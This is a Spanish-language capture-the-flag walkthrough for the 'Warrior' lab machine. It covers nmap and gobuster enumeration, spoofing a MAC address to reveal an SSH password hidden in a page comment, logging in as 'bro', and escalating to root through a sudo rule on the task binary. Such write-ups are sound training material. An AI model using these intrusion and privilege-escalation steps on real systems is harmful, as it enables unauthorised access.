ctfmirror

click to go main site
:root, .light, .dark [data-color-scheme$="light"], .dark [data-follow-color-scheme="true"]:has([data-color-scheme$="light"]) { --primary-1: 255 255 255; --contrast-primary-1: 29 29 29; --primary-2: 247 250 255; --contrast-primary-2: 29 29 29; --primary-3: 241 248 255; --contrast-primary-3: 29 29 29; --primary-4: 233 243 255; --contrast-primary-4: 29 29 29; --primary-5: 224 238 255; --contrast-primary-5: 29 29 29; --primary-6: 213 230 255; --contrast-primary-6: 29 29 29; --primary-7: 198 218 253; --contrast-primary-7: 29 29 29; --primary-8: 182 205 246; --contrast-primary-8: 29 29 29; --primary-9: 52 109 219; --contrast-primary-9: 255 255 255; --primary-10: 57 115 225; --contrast-primary-10: 255 255 255; --primary-11: 87 110 152; --contrast-primary-11: 255 255 255; --primary-12: 24 29 38; --contrast-primary-12: 255 255 255; --primary-original: 52 109 219; --contrast-primary-original: 255 255 255; --tint-1: 255 255 255; --contrast-tint-1: 29 29 29; --tint-2: 249 250 251; --contrast-tint-2: 29 29 29; --tint-3: 246 247 250; --contrast-tint-3: 29 29 29; --tint-4: 240 242 246; --contrast-tint-4: 29 29 29; --tint-5: 234 237 242; --contrast-tint-5: 29 29 29; --tint-6: 226 230 236; --contrast-tint-6: 29 29 29; --tint-7: 213 217 224; --contrast-tint-7: 29 29 29; --tint-8: 200 205 213; --contrast-tint-8: 29 29 29; --tint-9: 121 133 155; --contrast-tint-9: 255 255 255; --tint-10: 110 122 143; --contrast-tint-10: 255 255 255; --tint-11: 106 110 119; --contrast-tint-11: 255 255 255; --tint-12: 28 29 31; --contrast-tint-12: 255 255 255; --tint-original: 120 120 120; --contrast-tint-original: 255 255 255; --neutral-1: 255 255 255; --contrast-neutral-1: 29 29 29; --neutral-2: 250 250 250; --contrast-neutral-2: 29 29 29; --neutral-3: 247 247 247; --contrast-neutral-3: 29 29 29; --neutral-4: 242 242 242; --contrast-neutral-4: 29 29 29; --neutral-5: 237 237 237; --contrast-neutral-5: 29 29 29; --neutral-6: 229 229 229; --contrast-neutral-6: 29 29 29; --neutral-7: 217 217 217; --contrast-neutral-7: 29 29 29; --neutral-8: 204 204 204; --contrast-neutral-8: 29 29 29; --neutral-9: 120 120 120; --contrast-neutral-9: 255 255 255; --neutral-10: 121 121 121; --contrast-neutral-10: 255 255 255; --neutral-11: 110 110 110; --contrast-neutral-11: 255 255 255; --neutral-12: 29 29 29; --contrast-neutral-12: 255 255 255; --neutral-original: 120 120 120; --contrast-neutral-original: 255 255 255; --header-background: 52 109 219; --header-link: 255 255 255; --info-1: 255 255 255; --contrast-info-1: 29 29 29; --info-2: 250 250 250; --contrast-info-2: 29 29 29; --info-3: 247 247 247; --contrast-info-3: 29 29 29; --info-4: 242 242 242; --contrast-info-4: 29 29 29; --info-5: 237 237 237; --contrast-info-5: 29 29 29; --info-6: 229 229 229; --contrast-info-6: 29 29 29; --info-7: 217 217 217; --contrast-info-7: 29 29 29; --info-8: 204 204 204; --contrast-info-8: 29 29 29; --info-9: 120 120 120; --contrast-info-9: 255 255 255; --info-10: 121 121 121; --contrast-info-10: 255 255 255; --info-11: 110 110 110; --contrast-info-11: 255 255 255; --info-12: 29 29 29; --contrast-info-12: 255 255 255; --info-original: 120 120 120; --contrast-info-original: 255 255 255; --warning-1: 255 255 255; --contrast-warning-1: 29 29 29; --warning-2: 254 249 244; --contrast-warning-2: 29 29 29; --warning-3: 255 245 236; --contrast-warning-3: 29 29 29; --warning-4: 255 239 225; --contrast-warning-4: 29 29 29; --warning-5: 254 233 214; --contrast-warning-5: 29 29 29; --warning-6: 250 224 200; --contrast-warning-6: 29 29 29; --warning-7: 242 211 182; --contrast-warning-7: 29 29 29; --warning-8: 233 197 164; --contrast-warning-8: 29 29 29; --warning-9: 254 154 0; --contrast-warning-9: 29 29 29; --warning-10: 187 92 0; --contrast-warning-10: 255 255 255; --warning-11: 138 102 66; --contrast-warning-11: 255 255 255; --warning-12: 35 28 21; --contrast-warning-12: 255 255 255; --warning-original: 254 154 0; --contrast-warning-original: 29 29 29; --danger-1: 255 255 255; --contrast-danger-1: 29 29 29; --danger-2: 255 247 246; --contrast-danger-2: 29 29 29; --danger-3: 255 242 239; --contrast-danger-3: 29 29 29; --danger-4: 255 234 230; --contrast-danger-4: 29 29 29; --danger-5: 255 226 221; --contrast-danger-5: 29 29 29; --danger-6: 255 215 210; --contrast-danger-6: 29 29 29; --danger-7: 255 200 193; --contrast-danger-7: 29 29 29; --danger-8: 254 184 177; --contrast-danger-8: 29 29 29; --danger-9: 251 44 54; --contrast-danger-9: 255 255 255; --danger-10: 228 0 33; --contrast-danger-10: 255 255 255; --danger-11: 158 87 81; --contrast-danger-11: 255 255 255; --danger-12: 39 25 23; --contrast-danger-12: 255 255 255; --danger-original: 251 44 54; --contrast-danger-original: 255 255 255; --success-1: 255 255 255; --contrast-success-1: 29 29 29; --success-2: 245 252 246; --contrast-success-2: 29 29 29; --success-3: 238 252 240; --contrast-success-3: 29 29 29; --success-4: 229 249 231; --contrast-success-4: 29 29 29; --success-5: 219 246 222; --contrast-success-5: 29 29 29; --success-6: 207 240 210; --contrast-success-6: 29 29 29; --success-7: 190 229 194; --contrast-success-7: 29 29 29; --success-8: 172 218 177; --contrast-success-8: 29 29 29; --success-9: 0 201 80; --contrast-success-9: 29 29 29; --success-10: 0 152 23; --contrast-success-10: 255 255 255; --success-11: 74 124 82; --contrast-success-11: 255 255 255; --success-12: 22 32 23; --contrast-success-12: 255 255 255; --success-original: 0 201 80; --contrast-success-original: 29 29 29; } .dark, :root:not(.dark) [data-color-scheme^="dark"], :root:not(.dark) [data-follow-color-scheme="true"]:has([data-color-scheme^="dark"]) { --primary-1: 29 29 29; --contrast-primary-1: 255 255 255; --primary-2: 32 35 39; --contrast-primary-2: 255 255 255; --primary-3: 39 44 53; --contrast-primary-3: 255 255 255; --primary-4: 40 48 62; --contrast-primary-4: 255 255 255; --primary-5: 43 54 72; --contrast-primary-5: 255 255 255; --primary-6: 45 58 81; --contrast-primary-6: 255 255 255; --primary-7: 52 68 96; --contrast-primary-7: 255 255 255; --primary-8: 59 78 112; --contrast-primary-8: 255 255 255; --primary-9: 52 109 219; --contrast-primary-9: 255 255 255; --primary-10: 80 139 252; --contrast-primary-10: 255 255 255; --primary-11: 167 193 239; --contrast-primary-11: 29 29 29; --primary-12: 249 255 255; --contrast-primary-12: 29 29 29; --primary-original: 52 109 219; --contrast-primary-original: 255 255 255; --tint-1: 29 29 29; --contrast-tint-1: 255 255 255; --tint-2: 34 34 35; --contrast-tint-2: 255 255 255; --tint-3: 43 44 45; --contrast-tint-3: 255 255 255; --tint-4: 47 48 49; --contrast-tint-4: 255 255 255; --tint-5: 52 54 55; --contrast-tint-5: 255 255 255; --tint-6: 56 58 60; --contrast-tint-6: 255 255 255; --tint-7: 66 68 70; --contrast-tint-7: 255 255 255; --tint-8: 76 78 81; --contrast-tint-8: 255 255 255; --tint-9: 127 133 144; --contrast-tint-9: 255 255 255; --tint-10: 138 145 156; --contrast-tint-10: 255 255 255; --tint-11: 190 192 197; --contrast-tint-11: 29 29 29; --tint-12: 254 255 255; --contrast-tint-12: 29 29 29; --tint-original: 120 120 120; --contrast-tint-original: 255 255 255; --neutral-1: 29 29 29; --contrast-neutral-1: 255 255 255; --neutral-2: 34 34 34; --contrast-neutral-2: 255 255 255; --neutral-3: 44 44 44; --contrast-neutral-3: 255 255 255; --neutral-4: 48 48 48; --contrast-neutral-4: 255 255 255; --neutral-5: 53 53 53; --contrast-neutral-5: 255 255 255; --neutral-6: 57 57 57; --contrast-neutral-6: 255 255 255; --neutral-7: 67 67 67; --contrast-neutral-7: 255 255 255; --neutral-8: 78 78 78; --contrast-neutral-8: 255 255 255; --neutral-9: 120 120 120; --contrast-neutral-9: 255 255 255; --neutral-10: 144 144 144; --contrast-neutral-10: 255 255 255; --neutral-11: 192 192 192; --contrast-neutral-11: 29 29 29; --neutral-12: 255 255 255; --contrast-neutral-12: 29 29 29; --neutral-original: 120 120 120; --contrast-neutral-original: 255 255 255; --header-background: 52 109 219; --header-link: 255 255 255; --info-1: 29 29 29; --contrast-info-1: 255 255 255; --info-2: 34 34 34; --contrast-info-2: 255 255 255; --info-3: 44 44 44; --contrast-info-3: 255 255 255; --info-4: 48 48 48; --contrast-info-4: 255 255 255; --info-5: 53 53 53; --contrast-info-5: 255 255 255; --info-6: 57 57 57; --contrast-info-6: 255 255 255; --info-7: 67 67 67; --contrast-info-7: 255 255 255; --info-8: 78 78 78; --contrast-info-8: 255 255 255; --info-9: 120 120 120; --contrast-info-9: 255 255 255; --info-10: 144 144 144; --contrast-info-10: 255 255 255; --info-11: 192 192 192; --contrast-info-11: 29 29 29; --info-12: 255 255 255; --contrast-info-12: 29 29 29; --info-original: 120 120 120; --contrast-info-original: 255 255 255; --warning-1: 29 29 29; --contrast-warning-1: 255 255 255; --warning-2: 38 34 30; --contrast-warning-2: 255 255 255; --warning-3: 50 42 35; --contrast-warning-3: 255 255 255; --warning-4: 57 45 34; --contrast-warning-4: 255 255 255; --warning-5: 66 50 34; --contrast-warning-5: 255 255 255; --warning-6: 73 53 33; --contrast-warning-6: 255 255 255; --warning-7: 87 62 37; --contrast-warning-7: 255 255 255; --warning-8: 101 71 41; --contrast-warning-8: 255 255 255; --warning-9: 254 154 0; --contrast-warning-9: 29 29 29; --warning-10: 213 116 0; --contrast-warning-10: 255 255 255; --warning-11: 224 184 145; --contrast-warning-11: 29 29 29; --warning-12: 255 253 243; --contrast-warning-12: 29 29 29; --warning-original: 254 154 0; --contrast-warning-original: 29 29 29; --danger-1: 29 29 29; --contrast-danger-1: 255 255 255; --danger-2: 40 32 32; --contrast-danger-2: 255 255 255; --danger-3: 55 39 38; --contrast-danger-3: 255 255 255; --danger-4: 64 41 38; --contrast-danger-4: 255 255 255; --danger-5: 75 44 41; --contrast-danger-5: 255 255 255; --danger-6: 84 45 41; --contrast-danger-6: 255 255 255; --danger-7: 100 51 48; --contrast-danger-7: 255 255 255; --danger-8: 117 58 54; --contrast-danger-8: 255 255 255; --danger-9: 251 44 54; --contrast-danger-9: 255 255 255; --danger-10: 255 52 59; --contrast-danger-10: 255 255 255; --danger-11: 248 168 161; --contrast-danger-11: 29 29 29; --danger-12: 255 249 247; --contrast-danger-12: 29 29 29; --danger-original: 251 44 54; --contrast-danger-original: 255 255 255; --success-1: 29 29 29; --contrast-success-1: 255 255 255; --success-2: 31 36 32; --contrast-success-2: 255 255 255; --success-3: 37 47 38; --contrast-success-3: 255 255 255; --success-4: 37 52 39; --contrast-success-4: 255 255 255; --success-5: 38 60 41; --contrast-success-5: 255 255 255; --success-6: 38 65 41; --contrast-success-6: 255 255 255; --success-7: 42 77 48; --contrast-success-7: 255 255 255; --success-8: 47 89 54; --contrast-success-8: 255 255 255; --success-9: 0 201 80; --contrast-success-9: 29 29 29; --success-10: 0 176 54; --contrast-success-10: 255 255 255; --success-11: 155 208 161; --contrast-success-11: 29 29 29; --success-12: 246 255 247; --contrast-success-12: 29 29 29; --success-original: 0 201 80; --contrast-success-original: 29 29 29; } Nmap scan report for 192.168.5.43 Host is up (0.00062s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.4p1 Debian 5 (protocol 2.0) | ssh-hostkey: | 3072 25:16:8d:63:6b:75:f0:59:55:d4:b0:2d:75:8d:e0:e6 (RSA) | 256 1e:29:d0:f4:c5:95:e7:40:30:2b:35:f7:a3:bc:36:75 (ECDSA) |_ 256 cc:b1:52:b3:d7:ef:cd:73:4c:fc:f6:b5:51:77:ea:f3 (ED25519) 80/tcp open http nginx 1.18.0 |_http-title: Site doesn't have a title (text/html). | http-robots.txt: 7 disallowed entries | /admin /secret.txt /uploads/id_rsa /internal.php |_/internal /cms /user.txt |_http-server-header: nginx/1.18.0 MAC Address: 08:00:27:0A:1B:DE (PCS Systemtechnik/Oracle VirtualBox virtual NIC) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 7.52 seconds

Veremos que hay un puerto 80 en el que vamos a ver que contiene, si entramos veremos simplemente una palabra WARRIOR no nos dice nada, por lo que vamos a realizar un poco de fuzzing a ver que encontramos.

hashtag
Gobuster

gobuster dir -u http://<IP>/ -w <WORDLIST> -x html,php,txt -t 50 -k -r

Info:

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.5.43/
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              html,php,txt
[+] Follow Redirect:         true
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.html           (Status: 200) [Size: 31]
/user.txt             (Status: 200) [Size: 5]
/admin                (Status: 403) [Size: 153]
/robots.txt           (Status: 200) [Size: 137]
/internal.php         (Status: 200) [Size: 82]
/secret.txt           (Status: 200) [Size: 17]
Progress: 234182 / 882244 (26.54%)^C
[!] Keyboard interrupt detected, terminating.
Progress: 234500 / 882244 (26.58%)
===============================================================
Finished
===============================================================

De todo esto el que mas nos atrae es el llamado internal.php ya que los demas no encontramos nada interesante si entramos, por lo que vamos acceder a dicho archivo a ver que encontramos dentro.

URL = http://<IP>/internal.php

Info:

Hey bro, you need to have an internal MAC as 00:00:00:00:00:a? to read your pass..

Veremos que necesitamos tener la MAC que esta comentando intentando descubrir la ultima letra para poder acceder de nuevo al mismo archivo y ver que nos muestra, por lo que vamos a probar las letras abcdef que son las que pueden estar maximo la f en la ultima opcion.

Si probamos todas la unica en la que cambia el contenido por lo que seria correcta, es con la letra f por lo que para establecerlo tendremos que hacer lo siguiente:

Establcemos la MAC desde la propia configuracion de la maquina, ya que por terminal puede dar problemas.

Una vez que la hayamos establecido la correcta, entramos y probamos a realizar un curl para ver si es la correcta a la pagina.

curl -s http://<IP>/internal.php

Info:

<br>Good!!!!!<!-- Your password is: Zurviv0r1 -->

Vemos que efectivamente es la correcta, por lo que vamos a probar el nombre de usuario bro que vimos antes y como contraseña Zurviv0r1 por SSH a ver si nos deja acceder.

hashtag
SSH

ssh bro@<IP>

Metemos como contraseña Zurviv0r1 y veremos que estaremos dentro.

Info:

Linux warrior 5.10.0-11-amd64 #1 SMP Debian 5.10.92-1 (2022-01-18) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Feb  8 04:03:20 2022 from 192.168.1.51
bro@warrior:~$ whoami
bro

Por lo que leeremos la flag del usuario.

user.txt

LcHHbXGHMVhCpQHvqDen

hashtag
Escalate Privileges

Si hacemos /usr/sbin/sudo -l veremos lo siguiente:

Matching Defaults entries for bro on warrior:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User bro may run the following commands on warrior:
    (root) NOPASSWD: /usr/bin/task

Vemos que podemos ejecutar el binario task como el usuario root por lo que podremos hacer lo siguiente:

/usr/sbin/sudo task execute /bin/bash

Info:

root@warrior:/home/bro# whoami